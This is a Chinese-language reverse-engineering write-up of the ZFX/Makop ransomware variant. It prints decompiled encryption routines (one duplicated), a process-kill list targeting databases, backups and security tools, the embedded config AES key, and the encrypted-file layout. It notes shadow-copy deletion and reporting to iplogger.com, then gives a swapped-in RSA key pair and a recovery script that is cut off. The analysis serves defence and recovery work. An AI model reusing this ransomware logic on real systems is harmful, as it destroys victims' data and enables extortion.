ZFX
目录ZFX是Makop 勒索变种,采用RSA2048+AES-256-CBC,随机生成2个32字节的AESKEY,文件加密时随机生成新IV,轮询AESKEY,并使用内置公钥将AESKEY加密存储。没有私钥则无法解密文件。
文件信息
dialog
样本来源https://bbs.kafan.cn/thread-2251527-1-1.html
运行效果
程序流程
start_00406800
入口点
-
isAdmin_407A90
判断是否为admin
-
init_4068B0
设置全局变量
-
runas_407790
ShellExecuteExW runas args->'e'
init_4068B0
初始化变量,ndata区块内数据通过DecryptWrapper_00402950 AES-256-CBC解密获取
DecryptWrapper_00402950
DecryptWrapper@
首先会调用setDecKey_402810设置ndata的解密key,
ndata_aeskey=b'_+\x0eD\x96\x9c\x8ab\xf4}\xccW\xe5\xc0\xfb\x16Y^9\xb9l\xcc(\xb9\xbdV\xbaV\x9c\x08fO'
ndata_iv=b'\x00'*16
解密得到的部分信息:
main_do_406D70
config_407040
设置排除项
net_enc_406F50
net_enc_406F50@
net_thread_4067A0调用
Net_enc_thread_4065F0
加密网络资源
DialogFunc_00404D50
WM_INITDIALOG
WM_COMMAND
Start
Start folder
其他事件
自定义消息:0x401u
加密结束后将ID、加密大小上传到 iplogger.com/1LZcC4
do_delete_407890
其他操作
如果勾选'sc'选项,加密前会删除卷影备份、结束指定的进程
cmd_delete_4080E0
cmd执行命令删除卷影备份
kill_procs_408150
void *__stdcall kill_procs_408150()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v14 = 0;
v0 = (WCHAR *)DecryptWrapper(pkeyinfo_41C288, 5, &pdwDataLen);
// 5 sqlbrowser.exe;sqlwriter.exe;sqlservr.exe;msmdsrv.exe;MsDtsSrvr.exe;sqlceip.exe;fdlauncher.exe;Ssms.exe;sqlagent.exe;fdhost.exe;ReportingServicesService.exe;msftesql.exe;pg_ctl.exe;postgres.exe;UniFi.exe;armsvc.exe;IntelCpHDCPSvc.exe;OfficeClickToRun.exe;DellOSDService.exe;DymoPnpService.exe;Agent.exe;FJTWMKSV.exe;IPROSetMonitor.exe;IRMTService.exe;MBCloudEA.exe;QBCFMonitorService.exe;QBIDPService.exe;RstMwService.exe;TeamViewer_Service.exe;dasHost.exe;IntelCpHeciSvc.exe;RAVBg64.exe;vds.exe;unsecapp.exe;TodoBackupService.exe;MediaButtons.exe;IAStorDataMgrSvc.exe;jhi_service.exe;LMS.exe;DDVDataCollector.exe;DDVCollectorSvcApi.exe;TeamViewer.exe;tv_w32.exe;tv_x64.exe;Microsoft.Photos.exe;MicrosoftEdge.exe;ApplicationFrameHost.exe;browser_broker.exe;MicrosoftEdgeSH.exe;MicrosoftEdgeCP.exe;RtkNGUI64.exe;WavesSvc64.exe;OneDrive.exe;DYMO.DLS.Printing.Host.exe;FtLnSOP.exe;FjtwMkup.exe;FTPWREVT.exe;FTErGuid.exe;qbupdate.exe;QBWebConnector.exe;ShellExperienceHost.exe;RuntimeBroker.exe;IAStorIcon.exe;PrivacyIconClient.exe;SupportAssistAgent.exe;SecurityHealthService.exe;taskhostw.exe;taskhosta.exe;wijca.exe;ktfwswe.exe;HeciServer.exe;mdm.exe;ULCDRSvr.exe;WLIDSVC.EXE;WLIDSVCM.EXE;GoogleCrashHandler.exe;GoogleCrashHandler64.exe;RAVCpl64.exe;igfxtray.exe;hkcmd.exe;igfxpers.exe;PsiService_2.exe;UNS.exe;taskeng.exe;AdobeARM.exe;LenovoReg.exe;dwm.exe;wuauclt.exe;avp.exe;FBService.exe;LBAEvent.exe;PDFProFiltSrvPP.exe;avpsus.exe;klnagent.exe;vapm.exe;ScanToPCActivationApp.exe;BrStMonW.exe;BrCtrlCntr.exe;concentr.exe;redirector.exe;BrccMCtl.exe;BrYNSvc.exe;Receiver.exe;BrCcUxSys.exe;LSCNotify.exe;SelfServicePlugin.exe;wfcrun32.exe;HPNETW~1.EXE;HPScan.exe;taskhost.exe;Teams.exe;AuthManSvr.exe;WLXPhotoGallery.exe;outlook.exe;prevhost.exe;excel.exe;chrome.exe;AcroRd32.exe;RdrCEF.exe;vssadmin.exe;WmiPrvSE.exe;oracle.exe;ocssd.exe;dbsnmp.exe;synctime.exe;agntsrvc.exe;mydesktopqos.exe;isqlplussvc.exe;xfssvccon.exe;mydesktopservice.exe;ocautoupds.exe;encsvc.exe;firefoxconfig.exe;tbirdconfig.exe;ocomm.exe;mysqld.exe;mysqld-nt.exe;mysqld-opt.exe;dbeng50.exe;sqbcoreservice.exe;infopath.exe;msaccess.exe;mspub.exe;onenote.exe;powerpnt.exe;steam.exe;thebat.exe;thebat64.exe;thunderbird.exe;visio.exe;winword.exe;wordpad.exe;
v1 = v0;
v15 = v0;
if ( v0 )
{
split_2_wstrlist_4038C0(v0, &v14);
Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
v3 = Toolhelp32Snapshot;
if ( Toolhelp32Snapshot == (HANDLE)-1 )
{
nullsub_1();
}
else
{
pe.dwSize = 556;
if ( Process32FirstW(Toolhelp32Snapshot, &pe) )
{
v4 = v14;
do
{
v5 = v4;
if ( v4 )
{
while ( 1 )
{
szExeFile = pe.szExeFile;
do
{
v7 = *(WCHAR *)((char *)szExeFile + (char *)v5->wstr - (char *)pe.szExeFile);
if ( (unsigned int)v7 >= 'A' && (unsigned int)v7 <= 'Z' )
v7 += 32;
v8 = v7;
v9 = *szExeFile;
if ( *szExeFile >= 0x41u && v9 <= 0x5Au )
v9 += 32;
++szExeFile;
}
while ( v8 && v8 == v9 );
if ( v8 == v9 )
break;
v5 = v5->nextws;
if ( !v5 )
goto LABEL_21;
}
v10 = OpenProcess(1u, 0, pe.th32ProcessID);
v11 = v10;
if ( v10 )
{
TerminateProcess(v10, 0xFFFFFFFF);
CloseHandle(v11);
}
}
LABEL_21:
;
}
while ( Process32NextW(v3, &pe) );
v1 = v15;
}
CloseHandle(v3);
}
ProcessHeap = GetProcessHeap();
HeapFree(ProcessHeap, 0, v1);
}
return node_free_4037C0(&v14);
}
主要加密函数分析
最终调用的加密函数只有enc1_403EE0和enc2_4044E0
enc1_403EE0
// 全部加密
char __usercall enc1_403EE0@<al>(TraverseThreadParam *obj@<ebx>, WCHAR *path, HANDLE hFile)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
hKey = 0;
v31 = 0;
currentEncSize.QuadPart = 0i64;
org_end.QuadPart = 0i64;
iv = get_random_IV();
if ( iv )
{
key1_2 = obj->diskinfo_0->usekey1or2_30; // 初始为1
obj->diskinfo_0->usekey1or2_30 = (key1_2 == 1) + 1;
if ( SetFilePointerEx(hFile, 0i64, &origEndFilePointer, FILE_END) )
{
v3 = origEndFilePointer.LowPart & 0xF;
if ( (origEndFilePointer.LowPart & 0xF) == 0
|| (v4 = 16 - v3, mem_set(Buffer, 0, 16 - v3), WriteFile(hFile, Buffer, v4, &NumberOfBytesWritten, 0))// 原始文件尾部填充,16字节对齐
&& NumberOfBytesWritten >= v4 )
{
key = key1_2 == 1 ? obj->diskinfo_0->aeskey1_20 : obj->diskinfo_0->aeskey2_28;
if ( import_aes_key(&hKey, key, (BYTE *)iv) )
{
v6 = search_wchar_from_end(path, '\\');
if ( v6 )
v7 = v6 + 1;
else
v7 = path;
v8 = v7;
while ( *v8++ )
;
namesize = 2 * (v8 - v7) - 2;
align = namesize + 0x1C;
nNumberOfBytesToWrite = namesize + 0x1C;
if ( (((_BYTE)namesize + 0x1C) & 0xF) != 0 )
{
align += 16 - (((_BYTE)namesize + 0x1C) & 0xF);// LockEnd 数据对齐16
nNumberOfBytesToWrite = align;
}
if ( align )
{
v27 = align;
ProcessHeap = GetProcessHeap();
v13 = (LockEnd *)HeapAlloc(ProcessHeap, 0, v27);
lpBuffer = v13;
if ( v13 )
{
v13->quick_buf_size_0x40000_0 = 0;
v13->filesize_div3_LowPart_4 = 0;
v13->filesize_div3_HighPart_8 = 0;
v13->FileSize_C = origEndFilePointer;
v13->fnamesize_14 = namesize;
mem_cpy(v13->fname, v7, namesize);
lockend = (LockEnd *)lpBuffer;
*(_DWORD *)((char *)lockend->fname + namesize) = CRC_Hash(lpBuffer, namesize + 24);
if ( encrypto_402B30((BYTE *)lockend, hKey, nNumberOfBytesToWrite) )
{
CryptDestroyKey(hKey);
hKey = 0;
if ( SetFilePointerEx(hFile, 0i64, &org_end, FILE_END) )
{
WriteFile_ = WriteFile;
if ( WriteFile(hFile, ¤tEncSize, 8u, &NumberOfBytesWritten, 0) )// 8字节0
{
if ( NumberOfBytesWritten >= 8 )
{
if ( WriteFile(hFile, lockend, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )// lockend
{
if ( NumberOfBytesWritten >= nNumberOfBytesToWrite )
{
if ( WriteFile(hFile, &nNumberOfBytesToWrite, 4u, &NumberOfBytesWritten, 0) )// lockend 长度
{
if ( NumberOfBytesWritten >= 4 )
{
v16 = (BYTE *)iv;
if ( WriteFile(hFile, iv, 0x10u, &NumberOfBytesWritten, 0) )// iv
{
if ( NumberOfBytesWritten >= 0x10 )
{
v17 = key1_2 == 1 ? obj->diskinfo_0->rsaenc_disk_keyinfo1_24 : obj->diskinfo_0->rsaenc_disk_keyinfo2_2C;
if ( WriteFile(hFile, v17, 0x80u, &NumberOfBytesWritten, 0)// rsaenc_disk_keyinfo rsa公钥加密的磁盘和aeskey信息
&& NumberOfBytesWritten >= 0x80
&& WriteFile(hFile, &lock_second4bytes_41A02C, 4u, &NumberOfBytesWritten, 0)// 标志
&& NumberOfBytesWritten >= 4
&& WriteFile(hFile, &lock_last4bytes_41A020, 4u, &NumberOfBytesWritten, 0)// 加密标志
&& NumberOfBytesWritten >= 4 )
{
v18 = key1_2 == 1 ? obj->diskinfo_0->aeskey1_20 : obj->diskinfo_0->aeskey2_28;
if ( import_aes_key(&hKey, v18, v16) )
{
HighPart = currentEncSize.HighPart;
if ( currentEncSize.QuadPart >= origEndFilePointer.QuadPart )// 加密结束0xff 填充加密长度
{
END_ENC:
CryptDestroyKey(hKey);
hKey = 0;
if ( SetFilePointerEx(hFile, org_end, 0, FILE_BEGIN)
&& WriteFile_(hFile, byte0xFF_40A000, 8u, &NumberOfBytesWritten, 0)
&& NumberOfBytesWritten >= 8 )
{
v31 = 1;
} // end
}
else
{
while ( SetFilePointerEx(
hFile,
(LARGE_INTEGER)__PAIR64__(HighPart, currentEncSize.LowPart),
0,
FILE_BEGIN) )
{
padsize = 0;
leftFileSize = origEndFilePointer.LowPart - currentEncSize.LowPart;
if ( origEndFilePointer.QuadPart - currentEncSize.QuadPart >= (unsigned int)obj->part2_buf_size_n0x100000_10 )// buf值最大0x100000
{
leftFileSize = obj->part2_buf_size_n0x100000_10;
v42 = 0;
}
else
{
v42 = (unsigned __int64)(origEndFilePointer.QuadPart
- currentEncSize.QuadPart) >> 32;
}
if ( !ReadFile(hFile, obj->part2_buf_C, leftFileSize, &NumberOfBytesRead, 0) )
break;
v22 = NumberOfBytesRead;
if ( NumberOfBytesRead )
{
if ( NumberOfBytesRead < obj->part2_buf_size_n0x100000_10 )
{
v23 = NumberOfBytesRead & 0xF;
if ( (NumberOfBytesRead & 0xF) != 0 )
{
padsize = 16 - v23;
mem_set((_BYTE *)obj->part2_buf_C + NumberOfBytesRead, 0, 16 - v23);
v22 = NumberOfBytesRead;
}
}
if ( !encrypto_402B30((BYTE *)obj->part2_buf_C, hKey, padsize + v22)
|| !SetFilePointerEx(hFile, currentEncSize, 0, FILE_BEGIN)
|| !WriteFile(
hFile,
obj->part2_buf_C,
padsize + NumberOfBytesRead,
&NumberOfBytesWritten,
0)
|| NumberOfBytesWritten < NumberOfBytesRead + padsize )
{
break;
}
currentEncSize.QuadPart += NumberOfBytesRead;
if ( NumberOfBytesRead >= obj->part2_buf_size_n0x100000_10 )
{
if ( !SetFilePointerEx(hFile, org_end, 0, FILE_BEGIN)
|| !WriteFile(hFile, ¤tEncSize, 8u, &NumberOfBytesWritten, 0)// 大于0x100000后更新为当前加密的长度
|| NumberOfBytesWritten < 8 )
{
break;
}
HighPart = currentEncSize.HighPart;
if ( currentEncSize.QuadPart < origEndFilePointer.QuadPart )
continue;
}
}
WriteFile_ = WriteFile;
goto END_ENC;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
v28 = (void *)lpBuffer;
v24 = GetProcessHeap();
HeapFree(v24, 0, v28);
}
}
}
}
}
v29 = (void *)iv;
v25 = GetProcessHeap();
HeapFree(v25, 0, v29);
}
if ( hKey )
CryptDestroyKey(hKey);
return v31;
}
enc2_4044E0
// quick模式或者小文件,加密前0x40000字节
char __usercall enc2_4044E0@<al>(_WORD *name@<eax>, TraverseThreadParam *info, HANDLE hFile)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
hKey = 0;
v26 = 0;
if ( GetFileSizeEx(hFile, &FileSize) )
{
pdwDataLen.QuadPart = FileSize.QuadPart / 3;
random_IV = get_random_IV();
iv = random_IV;
if ( random_IV )
{
key1_2 = info->diskinfo_0->usekey1or2_30;
v27 = key1_2;
info->diskinfo_0->usekey1or2_30 = (key1_2 == 1) + 1;
if ( key1_2 == 1 )
aeskey = info->diskinfo_0->aeskey1_20;
else
aeskey = info->diskinfo_0->aeskey2_28;
if ( import_aes_key(&hKey, aeskey, (BYTE *)random_IV) )
{
v7 = name;
while ( *v7++ )
;
while ( --v7 != name )
{
if ( *v7 == '\\' )
{
v9 = v7 + 1;
goto LABEL_15;
}
}
if ( *v7 == '\\' )
v9 = v7 + 1;
else
v9 = name;
LABEL_15:
v10 = v9;
while ( *v10++ )
;
fnamesize = 2 * (v10 - v9) - 2;
v13 = fnamesize + 28;
LockEndPadedSize = fnamesize + 28;
if ( (((_BYTE)fnamesize + 28) & 0xF) != 0 )// 16字节对齐
{
v13 += 16 - (((_BYTE)fnamesize + 28) & 0xF);
LockEndPadedSize = v13;
}
if ( v13 )
{
v25 = v13;
ProcessHeap = GetProcessHeap();
v15 = (LockEnd *)HeapAlloc(ProcessHeap, 0, v25);
LockHead = (int)v15;
if ( v15 )
{
n_0x40000_14 = info->n_0x40000_14;
LowPart = pdwDataLen.LowPart;
v15->filesize_div3_HighPart_8 = pdwDataLen.HighPart;
v15->quick_buf_size_0x40000_0 = n_0x40000_14;
v15->filesize_div3_LowPart_4 = LowPart;
v15->FileSize_C = FileSize;
v15->fnamesize_14 = fnamesize;
mem_cpy(v15->fname, v9, fnamesize);
*(_DWORD *)(fnamesize + LockHead + 0x18) = CRC_Hash((_BYTE *)LockHead, fnamesize + 0x18);// DWORD crc32hash;
pdwDataLen.LowPart = LockEndPadedSize;
if ( CryptEncrypt(hKey, 0, 0, 0, (BYTE *)LockHead, &pdwDataLen.LowPart, LockEndPadedSize) )// 先使用key1加密
{
CryptDestroyKey(hKey);
hKey = 0;
// 文件指针开始位于尾部
if ( WriteFile(hFile, (LPCVOID)LockHead, LockEndPadedSize, &NumberOfBytesWritten, 0u) )// 写入LockEnd
{
if ( NumberOfBytesWritten >= LockEndPadedSize
&& WriteFile(hFile, &LockEndPadedSize, 4u, &NumberOfBytesWritten, 0u)// LockEnd大小
&& NumberOfBytesWritten >= 4
&& WriteFile(hFile, iv, 0x10u, &NumberOfBytesWritten, 0u)// iv
&& NumberOfBytesWritten >= 0x10 )
{
v19 = v27 == 1 ? info->diskinfo_0->rsaenc_disk_keyinfo1_24 : info->diskinfo_0->rsaenc_disk_keyinfo2_2C;
if ( WriteFile(hFile, v19, 0x80u, &NumberOfBytesWritten, 0u)// 磁盘的key信息
&& NumberOfBytesWritten >= 0x80
&& WriteFile(hFile, &lock_second4bytes_41A02C, 4u, &NumberOfBytesWritten, 0u)
&& NumberOfBytesWritten >= 4
&& WriteFile(hFile, &lock_last4bytes_41A020, 4u, &NumberOfBytesWritten, 0u)
&& NumberOfBytesWritten >= 4 )
{
v20 = v27 == 1 ? info->diskinfo_0->aeskey1_20 : info->diskinfo_0->aeskey2_28;
if ( import_aes_key(&hKey, v20, (BYTE *)iv) )
{
v21 = hKey;
if ( SetFilePointerEx(hFile, 0i64, &pdwDataLen, FILE_BEGIN) )
{
if ( quick_enc_404400(hFile, info, v21, &pdwDataLen) )// 从文件头开始加密
{
CryptDestroyKey(hKey);
hKey = 0;
v26 = 1;
}
}
}
}
}
}
}
v22 = GetProcessHeap();
HeapFree(v22, 0, (LPVOID)LockHead);
}
}
random_IV = (void *)iv;
}
v23 = GetProcessHeap();
HeapFree(v23, 0, random_IV);
}
}
if ( hKey )
CryptDestroyKey(hKey);
return v26;
}char __usercall enc2_4044E0@<al>(_WORD *name@<eax>, TraverseThreadParam *info, HANDLE hFile)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
hKey = 0;
v26 = 0;
if ( GetFileSizeEx(hFile, &FileSize) )
{
pdwDataLen.QuadPart = FileSize.QuadPart / 3;
random_IV = get_random_IV();
iv = random_IV;
if ( random_IV )
{
key1_2 = info->diskinfo_0->usekey1or2_30;
v27 = key1_2;
info->diskinfo_0->usekey1or2_30 = (key1_2 == 1) + 1;
if ( key1_2 == 1 )
aeskey = info->diskinfo_0->aeskey1_20;
else
aeskey = info->diskinfo_0->aeskey2_28;
if ( import_aes_key(&hKey, aeskey, (BYTE *)random_IV) )
{
v7 = name;
while ( *v7++ )
;
while ( --v7 != name )
{
if ( *v7 == '\\' )
{
v9 = v7 + 1;
goto LABEL_15;
}
}
if ( *v7 == '\\' )
v9 = v7 + 1;
else
v9 = name;
LABEL_15:
v10 = v9;
while ( *v10++ )
;
fnamesize = 2 * (v10 - v9) - 2;
v13 = fnamesize + 28;
LockEndPadedSize = fnamesize + 28;
if ( (((_BYTE)fnamesize + 28) & 0xF) != 0 )// 16字节对齐
{
v13 += 16 - (((_BYTE)fnamesize + 28) & 0xF);
LockEndPadedSize = v13;
}
if ( v13 )
{
v25 = v13;
ProcessHeap = GetProcessHeap();
v15 = (LockEnd *)HeapAlloc(ProcessHeap, 0, v25);
LockHead = (int)v15;
if ( v15 )
{
n_0x40000_14 = info->n_0x40000_14;
LowPart = pdwDataLen.LowPart;
v15->filesize_div3_HighPart_8 = pdwDataLen.HighPart;
v15->n_0x40000_0 = n_0x40000_14;
v15->filesize_div3_LowPart_4 = LowPart;
v15->FileSize_C = FileSize;
v15->fnamesize_14 = fnamesize;
mem_cpy(v15->fname, v9, fnamesize);
*(_DWORD *)(fnamesize + LockHead + 0x18) = CRC_Hash((_BYTE *)LockHead, fnamesize + 0x18);// DWORD crc32hash;
pdwDataLen.LowPart = LockEndPadedSize;
if ( CryptEncrypt(hKey, 0, 0, 0, (BYTE *)LockHead, &pdwDataLen.LowPart, LockEndPadedSize) )// 先使用key1加密
{
CryptDestroyKey(hKey);
hKey = 0;
// 文件指针开始位于尾部
if ( WriteFile(hFile, (LPCVOID)LockHead, LockEndPadedSize, &NumberOfBytesWritten, 0u) )// 写入LockEnd
{
if ( NumberOfBytesWritten >= LockEndPadedSize
&& WriteFile(hFile, &LockEndPadedSize, 4u, &NumberOfBytesWritten, 0u)// LockEnd大小
&& NumberOfBytesWritten >= 4
&& WriteFile(hFile, iv, 0x10u, &NumberOfBytesWritten, 0u)// iv
&& NumberOfBytesWritten >= 0x10 )
{
v19 = v27 == 1 ? info->diskinfo_0->rsaenc_disk_keyinfo1_24 : info->diskinfo_0->rsaenc_disk_keyinfo2_2C;
if ( WriteFile(hFile, v19, 0x80u, &NumberOfBytesWritten, 0u)// 磁盘的key信息
&& NumberOfBytesWritten >= 0x80
&& WriteFile(hFile, &lock_second4bytes_41A02C, 4u, &NumberOfBytesWritten, 0u)
&& NumberOfBytesWritten >= 4
&& WriteFile(hFile, &lock_last4bytes_41A020, 4u, &NumberOfBytesWritten, 0u)
&& NumberOfBytesWritten >= 4 )
{
v20 = v27 == 1 ? info->diskinfo_0->aeskey1_20 : info->diskinfo_0->aeskey2_28;
if ( import_aes_key(&hKey, v20, (BYTE *)iv) )
{
v21 = hKey;
if ( SetFilePointerEx(hFile, 0i64, &pdwDataLen, FILE_BEGIN) )
{
if ( part_enc_404400(hFile, info, v21, &pdwDataLen) )// 从文件头开始加密
{
CryptDestroyKey(hKey);
hKey = 0;
v26 = 1;
}
}
}
}
}
}
}
v22 = GetProcessHeap();
HeapFree(v22, 0, (LPVOID)LockHead);
}
}
random_IV = (void *)iv;
}
v23 = GetProcessHeap();
HeapFree(v23, 0, random_IV);
}
}
if ( hKey )
CryptDestroyKey(hKey);
return v26;
}
加密文件结构
quick
rsa解密出quick_buf_size(0x40000)大于0时
quick{
BYTE aesenc [0x40000 ? FileSize > 0x40000 :FileSize_pad16 ]
//BYTE orig [FileSize-0x40000]//大于0x40000 时
BYTE aesenc_LockEnd [Lockend_size] {
int quick_buf_size_0x40000_0;//quick模式下为0x40000,
_DWORD filesize_div3_LowPart_4;
_DWORD filesize_div3_HighPart_8;
__unaligned __declspec(align(1)) LARGE_INTEGER FileSize_C;
int fnamesize_14;
WORD fname[fnamesize+LockEndStub_pad16];//
DWORD CRC32;
}//16字节对齐,在fname中填充
DWORD Lockend_size
BYTE iv_[0x10]
BYTE rsa_enc_DiskKeyInfo_[0x80]{
_DWORD encid_e3a20bc0_0;
_DWORD ID;
_DWORD VolumeSerialNumber;
_DWORD DriveTypeW;
_BYTE aeskey_data[32];
_DWORD crchash;
//
}//rsa公钥加密的DiskKeyInfo
BYTE e3a20bc0 [4]
BYTE f32e5921 [4]
}
full
文件小于0x40000或者quick_buf_size为0
full{
BYTE enc_size[Original_file_size_pad16]
BYTE 0xff[8]
BYTE aesenc_LockEnd [Lockend_size] {
int quick_buf_size_0x40000_0;//quick模式下为0x40000,full下为0
_DWORD filesize_div3_LowPart_4;//full下为0
_DWORD filesize_div3_HighPart_8;full下为0
__unaligned __declspec(align(1)) LARGE_INTEGER FileSize_C;
int fnamesize_14;
WORD fname[fnamesize+LockEndStub_pad16];//
DWORD CRC32;
}//16字节对齐,在fname中填充
DWORD Lockend_size
BYTE iv_[0x10]
BYTE rsa_enc_DiskKeyInfo_[0x80]{
_DWORD encid_e3a20bc0_0;
_DWORD ID;
_DWORD VolumeSerialNumber;
_DWORD DriveTypeW;
_BYTE aeskey_data[32];
_DWORD crchash;
//
}//rsa公钥加密的DiskKeyInfo
BYTE e3a20bc0 [4]
BYTE f32e5921 [4]
}
修改公钥,测试解密
原公钥密钥位置
替换公钥
新公钥和私钥
#公钥publicblob:BgIAAACkAABSU0ExAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2g==
#私钥
privateblob:BwIAAACkAABSU0EyAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2lt/lzMbG7iFsGo7CCTb4xH5LbvIDWKwTYCNUT/2Y/Zt94mU5JZQAtnKPxVmm99zPF60CkFPFH2Zz6WqRlAShd4n7Xneram4IwpMSzXp+lXWkLz4++ARi9H6vUh121HcytF14BfpRjPpYGCCa5hdqoQD0qPh141+fQ9CUFhjFjT7A8pUGNUNAGB7htuJBhfiL5XjPXo301HfmBrMvPzo0jH1CtQtu9g2tecmZlhvuKeF7EZrAF9vXwI5/Ao6WwFhErPJa+r7NbWzKkIceP1Q+0XAkcB5CL655bpJygt+nC/jCSY1XD3Pdy3DZO1P5TcbZ4IBVDZ/cjMBp2P/JkDwHQ6/UAPdN1Qkl/twfWPkYy+Y7R3e/unbx75BDNmdAr42BfNt0BCtu/0mRgE1IkViNNfFI9J8lFoOaGf70ShCYXCxOU8iBUCUecL4Wye7v3PrRCLF2HZbGepsDTtysfSN0psV6xsstj1IJvn377ZwrzXgg79LSberrgCaTUTvSvW/0SP6AQRVgnLui11kw+4/tLEBnsxW1YTdhjC72cd3NLR9wGzgkNJu+nSdgmUe3/rRQaE/DCz+nfJo65JAh+/xma8=
加密公钥
mypuk=base64.b64decode(r'BgIAAACkAABSU0ExAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2g==')
ndata_aeskey=b'_+\x0eD\x96\x9c\x8ab\xf4}\xccW\xe5\xc0\xfb\x16Y^9\xb9l\xcc(\xb9\xbdV\xbaV\x9c\x08fO'
aescp=AES.new(ndata_aeskey,AES.MODE_CBC,b'\x00'*16)
sz=len(mypuk)
padsize=sz%16
if padsize!=0:
padsize=16-padsize
enc=aescp.encrypt(mypuk+b'\x00'*padsize)
print(binascii.hexlify(enc))
"""
314deb099ef172fc67b1368de97f0942af2473c01a59bfb3b0770ea0e8f14a3a778f577f45b28a35e96a9db552697edd0592518d0937d7f5b3839514b531d0fcd7ee6b4367d59ac334acca8f013bfb4c29189b5dcce53f32311c213b2875ce858c6ec97fe0e45630f10e486067d6b564db6f71ecd733c3b0797e948b52c37421927811f265271ce385d7e1d44a95ba01f1e92035ce8decd913b7a22905b775e4
"""
替换后
解密测试
import binascii
import os
import struct
from Crypto.Cipher import AES
from Crypto.Util import Padding
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as PKCS1_cipher
'''
# private_key = RSA.construct((modulus, e, privateExponent))
# cipher = PKCS1_cipher.new(private_key)
'''
# publicblob:BgIAAACkAABSU0ExAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2g==
# privateblob:BwIAAACkAABSU0EyAAQAAAEAAQDdpf44czaZEYKXhANEd9zPjOR5Z/VgPz4u6dA0RxaNjCJYp5ljJmCnxkZuSTRwf5PmXU0YtddFhoNwSCCN5Z58gxU939dFLm2Yi7a5vH6L8Vr2x7K9hlu4NfftIcQgeeQLfQhlycQVQaC7/ysBVKGvup9cZ8VE4U6nJ2Q3cr9Z2lt/lzMbG7iFsGo7CCTb4xH5LbvIDWKwTYCNUT/2Y/Zt94mU5JZQAtnKPxVmm99zPF60CkFPFH2Zz6WqRlAShd4n7Xneram4IwpMSzXp+lXWkLz4++ARi9H6vUh121HcytF14BfpRjPpYGCCa5hdqoQD0qPh141+fQ9CUFhjFjT7A8pUGNUNAGB7htuJBhfiL5XjPXo301HfmBrMvPzo0jH1CtQtu9g2tecmZlhvuKeF7EZrAF9vXwI5/Ao6WwFhErPJa+r7NbWzKkIceP1Q+0XAkcB5CL655bpJygt+nC/jCSY1XD3Pdy3DZO1P5TcbZ4IBVDZ/cjMBp2P/JkDwHQ6/UAPdN1Qkl/twfWPkYy+Y7R3e/unbx75BDNmdAr42BfNt0BCtu/0mRgE1IkViNNfFI9J8lFoOaGf70ShCYXCxOU8iBUCUecL4Wye7v3PrRCLF2HZbGepsDTtysfSN0psV6xsstj1IJvn377ZwrzXgg79LSberrgCaTUTvSvW/0SP6AQRVgnLui11kw+4/tLEBnsxW1YTdhjC72cd3NLR9wGzgkNJu+nSdgmUe3/rRQaE/DCz+nfJo65JAh+/xma8=
n = 153330989898738324227138256935453811263462946802431754204212801703724676929528615418181542511991042424242177738459053999458906583447320508229793121499839209559336101326611968416339734962843333305292720420435368145535106242928010059342209478973484659739397176059943721207661704166333835050731368606099256026589
e = 65537
d = 123311459993635688492234142088286442413477548166210965364408500947503132921063448193092091179593205090439114086443122207233793588158970882200275817656751515500419739866070645057119319096370347816011535899076427633692672639900573730453983294689610382937585800610260823921291703157086287544845741131425101532985
def isLock(fname: str) -> bool:
with open(fname, 'rb') as f:
f.seek(-4, 2)
bs = f.read()
if bs == binascii.a2b_hex('f32e5921'):
return True
return False
# (n, e, d)
def recover(fname: str, outname: str, rsakey: tuple):
fsize = os.path.getsize(fname)
if fsize < 4:
print('File is not encrypted!')
return
if not isLock(fname):
print('File is not encrypted!')
return
print('################################################################')
f = open(fname, 'rb')
# Lockend_size_4
# iv_0x10
# rsa_enc_0x80{
# _DWORD encid_e3a20bc0_0;
# _DWORD ID;
# _DWORD VolumeSerialNumber;
# _DWORD DriveTypeW;
# _BYTE aeskey_data[32];
# _DWORD crchash;
# pad[]
# }
# e3a20bc0_4
# f32e5921_4
endStubStruct = struct.Struct('<I 16s 128s I I')
endStubSize = endStubStruct.size
f.seek(-endStubSize, 2)
endStub = endStubStruct.unpack(f.read(endStubSize))
Lockend_size = endStub[0]
iv = endStub[1]
print('Lockend_size:', Lockend_size)
print('iv:', iv.hex())
print()
private_key = RSA.construct(rsakey)
mcipher = PKCS1_cipher.new(private_key)
diskKeyInfo = mcipher.decrypt(endStub[2][::-1], 0)
if diskKeyInfo == b'':
print('RSA decrypt error!')
return
# 00000000 DiskKeyInfo struc ; (sizeof=0x80, align=0x4, copyof_106)
# 00000000 encid_e3a20bc0_0 dd ?
# 00000004 ID dd ?
# 00000008 VolumeSerialNumber dd ?
# 0000000C DriveTypeW dd ?
# 00000010 aeskey_data db 32 dup(?)
